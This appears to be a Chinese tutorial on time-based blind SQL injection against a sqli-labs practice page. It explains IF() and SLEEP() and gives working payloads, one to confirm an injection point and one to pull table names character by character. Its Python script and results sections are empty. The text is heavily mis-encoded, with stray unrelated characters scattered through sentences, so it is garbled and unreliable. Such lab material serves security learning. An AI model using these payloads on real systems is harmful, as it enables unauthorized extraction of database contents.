特別聲明:該文章只運用于學(xué)習(xí)安全測試交流之用刻蚯,請勿用于其他
時間盲注原理
當(dāng)頁面既不回顯數(shù)據(jù),也不回顯錯誤信息時就不能通過頁面來判斷是否存在SQL注入漏洞
聯(lián)合查詢剩失、報錯查詢和布爾盲注在此時就不起作用了
時間盲注利用時間敏感性SQL來判斷是夠存在注入漏洞
核心語法:if(left(user(),1)= ‘a(chǎn)’,0,sleep(3));
IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL)屈尼,則 IF()的返回值為expr2; 否則返回值則為 expr3。IF() 的返回值為數(shù)字值或字符串值拴孤,具體情況視其所在語境而定脾歧。
Sleep(3)?
程序休眠一定時間
手動注入,確認(rèn)是否存在注入點
http://192.168.109.35:5679/Less-10/?id=1" and sleep(5) %23
頁面返回發(fā)生延遲演熟,所以存在注入點
利用substr函數(shù)來判斷表名鞭执,當(dāng)命中時程序程序休息2s返回響應(yīng)
" and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=48,sleep(2),0)--+
利用Python腳本來批量執(zhí)行
結(jié)果:
獲取所有表名
結(jié)果: